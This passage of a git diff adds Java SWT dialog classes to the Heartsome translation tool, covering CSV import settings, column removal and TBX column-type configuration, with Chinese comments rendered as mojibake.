"1.1"; + } + setTmxVersion(version); + close(); + } + + public String getLang() { + return lang; + } + + public void setLang(String lang) { + this.lang = lang; + } + + public String getTmxVersion() { + return tmxVersion; + } + + public void setTmxVersion(String tmxVersion) { + this.tmxVersion = tmxVersion; + } + + /** + * 获得导出路径 + * @return ; + */ + public String getFilePath() { + return filePath; + } + } + + /** + * 创建 Label,文本å³å¯¹é½ + * @param parent + * 父控件 + * @param text + * Label 上显示的文本 + */ + private void createLabel(Composite parent, String text) { + Label lbl = new Label(parent, SWT.None); + lbl.setText(text); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(lbl); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + Composite cmpTemp = parent.getParent(); + parent.dispose(); + cmpTemp.layout(); + } + + /** + * 选择语言对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ + class LanguageSettingDialog extends Dialog { + + /** è¯­è¨€é›†åˆ */ + private Vector languages; + + /** 列数 */ + private int size; + + /** 所设置的语言 */ + private Vector resultLang; + + /** è¯­è¨€ä¸‹æ‹‰æ¡†é›†åˆ */ + private Combo[] arrCmbLangs; + + /** + * 构造方法 + * @param parentShell + * @param languages + * è¯­è¨€é›†åˆ + */ + protected LanguageSettingDialog(Shell parentShell, Vector languages) { + super(parentShell); + this.languages = languages; + size = languages.size(); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.CSV2TMXConverterDialog.LanguageSettingDialog.title")); + newShell.setImage(new Image(Display.getDefault(), imagePath)); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + tparent.setLayout(new GridLayout()); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).hint(300, 250).grab(true, true).applyTo(tparent); + + ScrolledComposite cmpScrolled = new ScrolledComposite(tparent, SWT.V_SCROLL); + cmpScrolled.setAlwaysShowScrollBars(false); + cmpScrolled.setLayoutData(new GridData(GridData.FILL_BOTH)); + cmpScrolled.setExpandHorizontal(true); + cmpScrolled.setShowFocusedControl(true); + + Composite cmpContent = new Composite(cmpScrolled, SWT.None); + cmpScrolled.setContent(cmpContent); + cmpContent.setLayout(new GridLayout(2, false)); + cmpContent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + arrCmbLangs = new Combo[size]; + for (int i = 0; i < size; i++) { + createLabel(cmpContent, languages.get(i) + " : "); + arrCmbLangs[i] = new Combo(cmpContent, SWT.READ_ONLY); + arrCmbLangs[i].setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + arrCmbLangs[i].setItems(LocaleService.getLanguages()); + String name = LocaleService.getLanguage(languages.get(i)); + if (!name.equals(languages.get(i))) { + arrCmbLangs[i].setText(name); + } + } + + cmpContent.setSize(cmpContent.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + + return tparent; + } + + @Override + protected void okPressed() { + resultLang = new Vector(); + for (int i = 0; i < size; i++) { + String string = arrCmbLangs[i].getText(); + if (string.equals("")) { //$NON-NLS-1$ + resultLang.add(languages.get(i)); + } else { + resultLang.add(LocaleService.getLanguageCodeByLanguage(string)); + } + } + close(); + } + + public Vector getResultLang() { + return resultLang; + } + + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/CSVSettingDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/CSVSettingDialog.java new file mode 100644 index 0000000..a84803e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/CSVSettingDialog.java @@ -0,0 +1,336 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.ui.languagesetting.LanguageLabelProvider; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer; +import org.eclipse.nebula.widgets.tablecombo.TableCombo; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 打开 CSV 文件对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class CSVSettingDialog extends Dialog { + + /** åˆ—åˆ†éš”ç¬¦é›†åˆ */ + private String[] arrColSeparator = { "", ",", ";", ":", "|", "Tab" }; + + /** æ–‡æœ¬å®šç•Œç¬¦é›†åˆ */ + private String[] arrTextDelimiter = { "", "\"", "'" }; + + private boolean isTBXConverter; + + /** Logo 图片路径 */ + private String imgPath; + + /** XCS 模æ¿æ–‡ä»¶åé›†åˆ */ + private String[] xcsTemplates; + + /** CSV 文本框 */ + private Text txtCSV; + + /** æµè§ˆæŒ‰é’® */ + private Button btnBrowse; + + /** 列分隔符下拉框,å¯ç¼–辑 */ + private Combo cmbColSeparator; + + /** 文本定界符下拉框,å¯ç¼–辑 */ + private Combo cmbTextDelimiter; + + /** 字符集下拉框 */ + private Combo cmbEncoding; + + /** 主语言下拉框 */ + private TableComboViewer cmbLang; + + /** XCS 模æ¿ä¸‹æ‹‰æ¡† */ + private Combo cmbXCSTemplate; + + /** CSV 路径 */ + private String csvPath; + + /** 列分隔符 */ + private String colSeparator; + + /** 文本定界符 */ + private String textDelimiter; + + /** 字符集下拉框 */ + private String encoding; + + /** 主语言 */ + private String lang; + + /** XCS æ¨¡æ¿ */ + private String xcsTemplate; + + /** + * 构造方法 + * @param parentShell + * @param isTBXConverter + * 是å¦æ˜¯ TBX 转æ¢å™¨ + * @param imgPath + * Logo 图片路径 + * @param xcsTemplates + * xcs 模æ¿é›†åˆ + */ + protected CSVSettingDialog(Shell parentShell, boolean isTBXConverter, String imgPath, String[] xcsTemplates) { + super(parentShell); + this.isTBXConverter = isTBXConverter; + this.imgPath = imgPath; + this.xcsTemplates = xcsTemplates; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.CSVSettingDialog.title")); + newShell.setImage(new Image(Display.getDefault(), imgPath)); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridLayoutFactory.fillDefaults().numColumns(1).extendedMargins(5, 5, 5, 5).applyTo(tparent); + int height = 160; + if (isTBXConverter) { + height = 230; + } + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).hint(320, height).grab(true, true).applyTo(tparent); + + Composite cmpSelFile = new Composite(tparent, SWT.None); + GridLayoutFactory.fillDefaults().numColumns(3).equalWidth(false).extendedMargins(0, 0, 0, 0) + .applyTo(cmpSelFile); + GridDataFactory.fillDefaults().applyTo(cmpSelFile); + + new Label(cmpSelFile, SWT.None).setText(Messages.getString("dialog.CSVSettingDialog.lblFile")); + txtCSV = new Text(cmpSelFile, SWT.BORDER); + txtCSV.setEditable(false); + txtCSV.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnBrowse = new Button(cmpSelFile, SWT.None); + btnBrowse.setText(Messages.getString("dialog.CSVSettingDialog.btnBrowse")); + btnBrowse.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent arg0) { + FileDialog dialog = new FileDialog(getShell(), SWT.OPEN); + dialog.setText(Messages.getString("dialog.CSVSettingDialog.dialogTitle")); + String[] extensions = { "*.csv", "*.txt", "*" }; + String[] filters = { Messages.getString("dialog.CSVSettingDialog.filters1"), + Messages.getString("dialog.CSVSettingDialog.filters2"), + Messages.getString("dialog.CSVSettingDialog.filters3") }; + dialog.setFilterExtensions(extensions); + dialog.setFilterNames(filters); + String fileSep = System.getProperty("file.separator"); + if (txtCSV.getText() != null && !txtCSV.getText().trim().equals("")) { + dialog.setFilterPath(txtCSV.getText().substring(0, txtCSV.getText().lastIndexOf(fileSep))); + dialog.setFileName(txtCSV.getText().substring(txtCSV.getText().lastIndexOf(fileSep) + 1)); + } else { + dialog.setFilterPath(System.getProperty("user.home")); + } + String name = dialog.open(); + if (name != null) { + txtCSV.setText(name); + } + } + + public void widgetDefaultSelected(SelectionEvent arg0) { + + } + }); + + Composite cmpContent = new Composite(tparent, SWT.NONE); + cmpContent.setLayout(new GridLayout(2, false)); + cmpContent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + createLabel(cmpContent, Messages.getString("dialog.CSVSettingDialog.cmbColSeparator")); + cmbColSeparator = new Combo(cmpContent, SWT.NONE); + cmbColSeparator.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + cmbColSeparator.setItems(arrColSeparator); + cmbColSeparator.select(1); + + createLabel(cmpContent, Messages.getString("dialog.CSVSettingDialog.cmbTextDelimiter")); + cmbTextDelimiter = new Combo(cmpContent, SWT.NONE); + cmbTextDelimiter.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + cmbTextDelimiter.setItems(arrTextDelimiter); + cmbTextDelimiter.setText("\""); + cmbTextDelimiter.setTextLimit(1); + + createLabel(cmpContent, Messages.getString("dialog.CSVSettingDialog.cmbEncoding")); + cmbEncoding = new Combo(cmpContent, SWT.READ_ONLY); + cmbEncoding.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + String[] arrEncoding = LocaleService.getPageCodes(); + cmbEncoding.setItems(arrEncoding); + cmbEncoding.select(indexOf(arrEncoding, "UTF-8")); + + if (isTBXConverter) { + createLabel(cmpContent, Messages.getString("dialog.CSVSettingDialog.cmbLang")); + cmbLang = new TableComboViewer(cmpContent, SWT.READ_ONLY | SWT.BORDER); + TableCombo tableCombo = cmbLang.getTableCombo(); + tableCombo.setShowTableLines(false); + tableCombo.setShowTableHeader(false); + tableCombo.setDisplayColumnIndex(-1); + tableCombo.setShowImageWithinSelection(true); + tableCombo.setShowColorWithinSelection(false); + tableCombo.setShowFontWithinSelection(false); + tableCombo.setVisibleItemCount(20); + cmbLang.getTableCombo().setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + ArrayList languages = new ArrayList(LocaleService.getDefaultLanguage().values()); + Collections.sort(languages, new Comparator() { + public int compare(Language o1, Language o2) { + return o1.toString().compareTo(o2.toString()); + } + }); + cmbLang.setContentProvider(new ArrayContentProvider()); + cmbLang.setLabelProvider(new LanguageLabelProvider()); + cmbLang.setInput(languages); + cmbLang.getTableCombo().select(0); + + createLabel(cmpContent, Messages.getString("dialog.CSVSettingDialog.cmbXCSTemplate")); + cmbXCSTemplate = new Combo(cmpContent, SWT.READ_ONLY); + cmbXCSTemplate.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + if (xcsTemplates.length > 0) { + cmbXCSTemplate.setItems(xcsTemplates); + cmbXCSTemplate.select(0); + } + } + + return tparent; + } + + /** + * 创建 Label,文本å³å¯¹é½ + * @param parent + * 父控件 + * @param text + * Label 上显示的文本 + */ + private void createLabel(Composite parent, String text) { + Label lbl = new Label(parent, SWT.None); + lbl.setText(text); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(lbl); + } + + /** + * 获å–字符串 string 在数组 array 中的索引 + * @param array + * @param string + * @return ; + */ + public int indexOf(String[] array, String string) { + for (int i = 0; i < array.length; i++) { + if (array[i].equals(string)) { + return i; + } + } + return -1; + } + + @Override + protected void okPressed() { + String strCSVPath = txtCSV.getText(); + if (strCSVPath == null || strCSVPath.trim().equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.CSVSettingDialog.msgTitle"), + Messages.getString("dialog.CSVSettingDialog.msg1")); + return; + } + setCsvPath(strCSVPath); + if (isTBXConverter) { + String strMainLang = TextUtil.getLanguageCode(cmbLang.getTableCombo().getText()); + if (strMainLang == null || strMainLang.trim().equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.CSVSettingDialog.msgTitle"), + Messages.getString("dialog.CSVSettingDialog.msg2")); + return; + } + setLang(strMainLang); + setXcsTemplate(cmbXCSTemplate.getText()); + } + String colSeparator = cmbColSeparator.getText(); + if (colSeparator.equals("Tab")) { + colSeparator = "\t"; + } + setColSeparator(colSeparator); + setTextDelimiter(cmbTextDelimiter.getText()); + setEncoding(cmbEncoding.getText()); + + close(); + } + + public String getCsvPath() { + return csvPath; + } + + public void setCsvPath(String csvPath) { + this.csvPath = csvPath; + } + + public String getColSeparator() { + return colSeparator; + } + + public void setColSeparator(String colSeparator) { + this.colSeparator = colSeparator; + } + + public String getTextDelimiter() { + return textDelimiter; + } + + public void setTextDelimiter(String textDelimiter) { + this.textDelimiter = textDelimiter; + } + + public String getEncoding() { + return encoding; + } + + public void setEncoding(String encoding) { + this.encoding = encoding; + } + + public String getLang() { + return lang; + } + + public void setLang(String lang) { + this.lang = lang; + } + + public String getXcsTemplate() { + return xcsTemplate; + } + + public void setXcsTemplate(String xcsTemplate) { + this.xcsTemplate = xcsTemplate; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/ColumnRemoveDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/ColumnRemoveDialog.java new file mode 100644 index 0000000..8fa82d9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/ColumnRemoveDialog.java @@ -0,0 +1,126 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import java.util.Vector; + + +import net.heartsome.cat.ts.ui.plugin.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.List; +import org.eclipse.swt.widgets.Shell; + +/** + * TBXMaker -> 删除列对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class ColumnRemoveDialog extends Dialog { + + /** åˆå§‹åˆ—çš„é›†åˆ */ + private Vector allColumnVector; + + /** 删除列åŽå‰©ä½™çš„åˆ—é›†åˆ */ + private Vector columnVector; + + /** Logo 图片路径 */ + private String imgPath; + + /** 显示列的列表 */ + private List listColumn; + + /** + * 构造方法 + * @param parentShell + * @param allColumnVector + * @param imgPath + */ + protected ColumnRemoveDialog(Shell parentShell, Vector allColumnVector, String imgPath) { + super(parentShell); + this.allColumnVector = allColumnVector; + this.imgPath = imgPath; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.ColumnRemoveDialog.title")); + newShell.setImage(new Image(Display.getDefault(), imgPath)); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + tparent.setLayout(new GridLayout()); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).hint(150, 200).grab(true, true).applyTo(tparent); + + listColumn = new List(tparent, SWT.BORDER | SWT.READ_ONLY | SWT.V_SCROLL | SWT.MULTI); + listColumn.setLayoutData(new GridData(GridData.FILL_BOTH)); + for (int i = 0; i < allColumnVector.size(); i++) { + listColumn.add(allColumnVector.get(i)); + } + Button btnRemove = new Button(tparent, SWT.None); + btnRemove.setText(Messages.getString("dialog.ColumnRemoveDialog.btnRemove")); + GridDataFactory.swtDefaults().align(SWT.CENTER, SWT.CENTER).applyTo(btnRemove); + btnRemove.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + int total = listColumn.getItemCount(); + int selCount = listColumn.getSelectionCount(); + if (selCount == 0) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ColumnRemoveDialog.msgTitle"), + Messages.getString("dialog.ColumnRemoveDialog.msg1")); + return; + } + if ((total - selCount) < 2) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ColumnRemoveDialog.msgTitle"), + Messages.getString("dialog.ColumnRemoveDialog.msg2")); + return; + } + listColumn.remove(listColumn.getSelectionIndices()); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + return tparent; + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected void okPressed() { + columnVector = new Vector(); + String[] items = listColumn.getItems(); + for (int i = 0; i < items.length; i++) { + columnVector.add(items[i]); + } + close(); + } + + public Vector getColumnVector() { + return columnVector; + } + + public void setColumnVector(Vector columnVector) { + this.columnVector = columnVector; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/ColumnTypeDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/ColumnTypeDialog.java new file mode 100644 index 0000000..9c5844d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/ColumnTypeDialog.java @@ -0,0 +1,621 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.util.Enumeration; +import java.util.Hashtable; +import java.util.Vector; + +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.ts.ui.plugin.ColProperties; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.cat.ts.ui.plugin.util.TBXTemplateUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * TBXMaker -> 列属性对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class ColumnTypeDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(LoggerFactory.class); + + /** 列数 */ + private int size; + + /** ColProperties é›†åˆ */ + private Vector colTypes; + + /** Logo 图片路径 */ + private String imgPath; + + /** è¯­è¨€ä¸‹æ‹‰æ¡†é›†åˆ */ + private Combo[] arrCmbLangs; + + /** ç±»åž‹ä¸‹æ‹‰æ¡†é›†åˆ */ + private Combo[] arrCmbPropsName; + + /** å±žæ€§ä¸‹æ‹‰æ¡†é›†åˆ */ + private Combo[] arrCmbPropsType; + + /** åˆ—ç±»åž‹ä¸‹æ‹‰æ¡†é›†åˆ */ + private Combo[] arrCmbPropsLevel; + + /** åˆ—ç±»åž‹é›†åˆ */ + private String[] levelValues = new String[] { ColProperties.conceptLevel, ColProperties.langLevel }; + + /** 列类型为 Concept çš„ç±»åž‹é›†åˆ */ + private String[] conceptPropValues = new String[] { ColProperties.descripName, ColProperties.noteName }; + + /** 列类型为 Tem çš„ç±»åž‹é›†åˆ */ + private String[] TranslationPropValues = new String[] { ColProperties.termName, ColProperties.termNoteName, + ColProperties.descripName }; + + private String[] conceptPropTypeValues; + + private String[] termDescripPropTypeValues; + + private String[] termTermNotePropTypeValues; + + /** 加载é…置按钮 */ + private Button btnLoadConfiguration; + + /** ä¿å­˜é…置按钮 */ + private Button btnSaveConfiguration; + + protected ColumnTypeDialog(Shell parentShell, Vector colTypes, TBXTemplateUtil template, + String imgPath) { + super(parentShell); + this.colTypes = colTypes; + size = colTypes.size(); + this.imgPath = imgPath; + loadPropTypeValue(template); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.ColumnTypeDialog.title")); + newShell.setImage(new Image(Display.getDefault(), imgPath)); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + tparent.setLayout(new GridLayout()); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).hint(750, 400).grab(true, true).applyTo(tparent); + ScrolledComposite cmpScrolled = new ScrolledComposite(tparent, SWT.V_SCROLL); + cmpScrolled.setAlwaysShowScrollBars(false); + cmpScrolled.setLayoutData(new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH)); + cmpScrolled.setExpandHorizontal(true); + cmpScrolled.setShowFocusedControl(true); + Composite cmpContent = new Composite(cmpScrolled, SWT.None); + cmpScrolled.setContent(cmpContent); + cmpContent.setLayout(new GridLayout(5, false)); + + arrCmbLangs = new Combo[size]; + arrCmbPropsName = new Combo[size]; + arrCmbPropsType = new Combo[size]; + arrCmbPropsLevel = new Combo[size]; + + new Label(cmpContent, SWT.None).setText(Messages.getString("dialog.ColumnTypeDialog.column1")); + new Label(cmpContent, SWT.None).setText(Messages.getString("dialog.ColumnTypeDialog.column2")); + new Label(cmpContent, SWT.None).setText(Messages.getString("dialog.ColumnTypeDialog.column3")); + new Label(cmpContent, SWT.None).setText(Messages.getString("dialog.ColumnTypeDialog.column4")); + new Label(cmpContent, SWT.None).setText(Messages.getString("dialog.ColumnTypeDialog.column5")); + + for (int i = 0; i < size; i++) { + ColProperties type = colTypes.get(i); + new Label(cmpContent, SWT.None).setText(type.getColName() + " : "); + + arrCmbPropsLevel[i] = new Combo(cmpContent, SWT.READ_ONLY); + arrCmbPropsLevel[i].setLayoutData(new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL + | GridData.FILL_BOTH)); + + arrCmbPropsName[i] = new Combo(cmpContent, SWT.READ_ONLY); + GridData data = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + data.widthHint = 120; + arrCmbPropsName[i].setLayoutData(data); + + arrCmbPropsType[i] = new Combo(cmpContent, SWT.READ_ONLY); + data = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + data.widthHint = 150; + arrCmbPropsType[i].setLayoutData(data); + + arrCmbLangs[i] = new Combo(cmpContent, SWT.READ_ONLY); + arrCmbLangs[i].setLayoutData(new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL + | GridData.FILL_BOTH)); + + arrCmbPropsLevel[i].setItems(levelValues); + arrCmbPropsLevel[i].select(0); + + String propLevel = type.getLevel(); + if (!propLevel.equals("")) { //$NON-NLS-1$ + arrCmbPropsLevel[i].setText(propLevel); + if (propLevel.equals(ColProperties.conceptLevel)) { + arrCmbLangs[i].setEnabled(false); + arrCmbPropsName[i].setItems(conceptPropValues); + arrCmbPropsName[i].select(0); + arrCmbPropsType[i].setItems(conceptPropTypeValues); + arrCmbPropsType[i].select(0); + } + if (propLevel.equals(ColProperties.langLevel)) { + arrCmbLangs[i].setEnabled(true); + arrCmbPropsName[i].setItems(TranslationPropValues); + arrCmbPropsName[i].select(0); + arrCmbPropsType[i].setItems(termDescripPropTypeValues); + arrCmbPropsType[i].select(0); + } + } + + // fixed a bug 2339 by John. + String propName = type.getPropName(); + if (!propName.equals("")) { //$NON-NLS-1$ + arrCmbPropsName[i].setText(propName); + } + + // Update content for Prop Type combo + String propType = type.getPropType(); + if (!propType.equals("")) { //$NON-NLS-1$ + arrCmbPropsType[i].setText(propType); + } + + if (!propLevel.equals("")) { //$NON-NLS-1$ + if (propLevel.equals(ColProperties.conceptLevel)) { + arrCmbPropsType[i].setEnabled(propName.equals(ColProperties.descripName)); + arrCmbPropsType[i].setItems(conceptPropTypeValues); + arrCmbPropsType[i].select(0); + } + if (propLevel.equals(ColProperties.langLevel)) { + arrCmbPropsType[i].setEnabled(!propName.equals(ColProperties.termName)); + if (propName.equals(ColProperties.descripName)) { + arrCmbPropsType[i].setItems(termDescripPropTypeValues); + } else { + arrCmbPropsType[i].setItems(termTermNotePropTypeValues); + } + arrCmbPropsType[i].select(0); + } + } + + // Update content for Language Combo + arrCmbLangs[i].setItems(LocaleService.getLanguages()); + arrCmbLangs[i].select(0); + String lang = type.getLanguage(); + if (!lang.equals("")) { //$NON-NLS-1$ + arrCmbLangs[i].setText(LocaleService.getLanguage(lang)); + } + + final int idx = i; + arrCmbPropsName[idx].addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + String level = arrCmbPropsLevel[idx].getText(); + String name = arrCmbPropsName[idx].getText(); + if (name.equals(ColProperties.termName)) { + arrCmbPropsType[idx].setEnabled(false); + arrCmbPropsType[idx].setItems(conceptPropTypeValues); + arrCmbPropsType[idx].select(0); + return; + } + if (name.equals(ColProperties.termNoteName)) { + arrCmbPropsType[idx].setEnabled(true); + arrCmbPropsType[idx].setItems(termTermNotePropTypeValues); + arrCmbPropsType[idx].select(0); + return; + } + if (name.equals(ColProperties.noteName)) { + arrCmbLangs[idx].setEnabled(false); + arrCmbPropsType[idx].setEnabled(false); + return; + } + if (name.equals(ColProperties.descripName)) { + arrCmbPropsType[idx].setEnabled(true); + if (level.equals(ColProperties.conceptLevel)) { + arrCmbPropsType[idx].setItems(conceptPropTypeValues); + } else { + arrCmbPropsType[idx].setItems(termDescripPropTypeValues); + } + arrCmbPropsType[idx].select(0); + return; + } + arrCmbPropsType[idx].setEnabled(false); + } + }); + + arrCmbPropsLevel[idx].addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + String level = arrCmbPropsLevel[idx].getText(); + String name = arrCmbPropsName[idx].getText(); + if (level.equals(ColProperties.conceptLevel)) { + arrCmbLangs[idx].setEnabled(false); + arrCmbPropsName[idx].setItems(conceptPropValues); + arrCmbPropsName[idx].select(0); + arrCmbPropsType[idx].setEnabled(true); + arrCmbPropsType[idx].setItems(conceptPropTypeValues); + arrCmbPropsType[idx].select(0); + } + if (level.equals(ColProperties.langLevel)) { + arrCmbLangs[idx].setEnabled(true); + arrCmbPropsName[idx].setItems(TranslationPropValues); + arrCmbPropsName[idx].select(0); + arrCmbPropsType[idx].setEnabled(false); + if (name.equals(ColProperties.descripName)) { + arrCmbPropsType[idx].setItems(termDescripPropTypeValues); + } else { + arrCmbPropsType[idx].setItems(termTermNotePropTypeValues); + } + arrCmbPropsType[idx].select(0); + } + + } + }); + } + + cmpContent.setSize(cmpContent.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + return tparent; + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + btnLoadConfiguration = createButton(parent, 22, + Messages.getString("dialog.ColumnTypeDialog.btnLoadConfiguration"), false); + btnSaveConfiguration = createButton(parent, 23, + Messages.getString("dialog.ColumnTypeDialog.btnSaveConfiguration"), false); + super.createButtonsForButtonBar(parent); + initListener(); + } + + /** + * åˆå§‹åŒ–加载é…置和ä¿å­˜é…ç½®æŒ‰é’®çš„ç›‘å¬ ; + */ + private void initListener() { + btnLoadConfiguration.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent event) { + FileDialog fd = new FileDialog(getShell(), SWT.OPEN); + fd.setText(Messages.getString("dialog.ColumnTypeDialog.fdTitle")); + String extensions[] = { "*.ctc", "*" }; //$NON-NLS-1$ //$NON-NLS-2$ + String[] names = { + Messages.getString("dialog.ColumnTypeDialog.filterName1"), Messages.getString("dialog.ColumnTypeDialog.filterName2") }; //$NON-NLS-1$ //$NON-NLS-2$ + fd.setFilterExtensions(extensions); + fd.setFilterNames(names); + fd.setFilterPath(System.getProperty("user.home")); + String name = fd.open(); + if (name == null) { + return; + } + try { + VTDGen vg = new VTDGen(); + if (vg.parseFile(name, true)) { + VTDNav vn = vg.getNav(); + VTDUtils vu = new VTDUtils(vn); + + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/CSV2TBX-configuration"); + ap.evalXPath(); + int count = vu.getChildElementsCount(); + if (count != arrCmbLangs.length) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.ColumnTypeDialog.msgTitle"), + Messages.getString("dialog.ColumnTypeDialog.msg1")); + return; + } + String xpath = "/CSV2TBX-configuration/item"; + ap.selectXPath(xpath); + int i = 0; + while (ap.evalXPath() != -1) { + String propLevel = vu.getCurrentElementAttribut("propLevel", 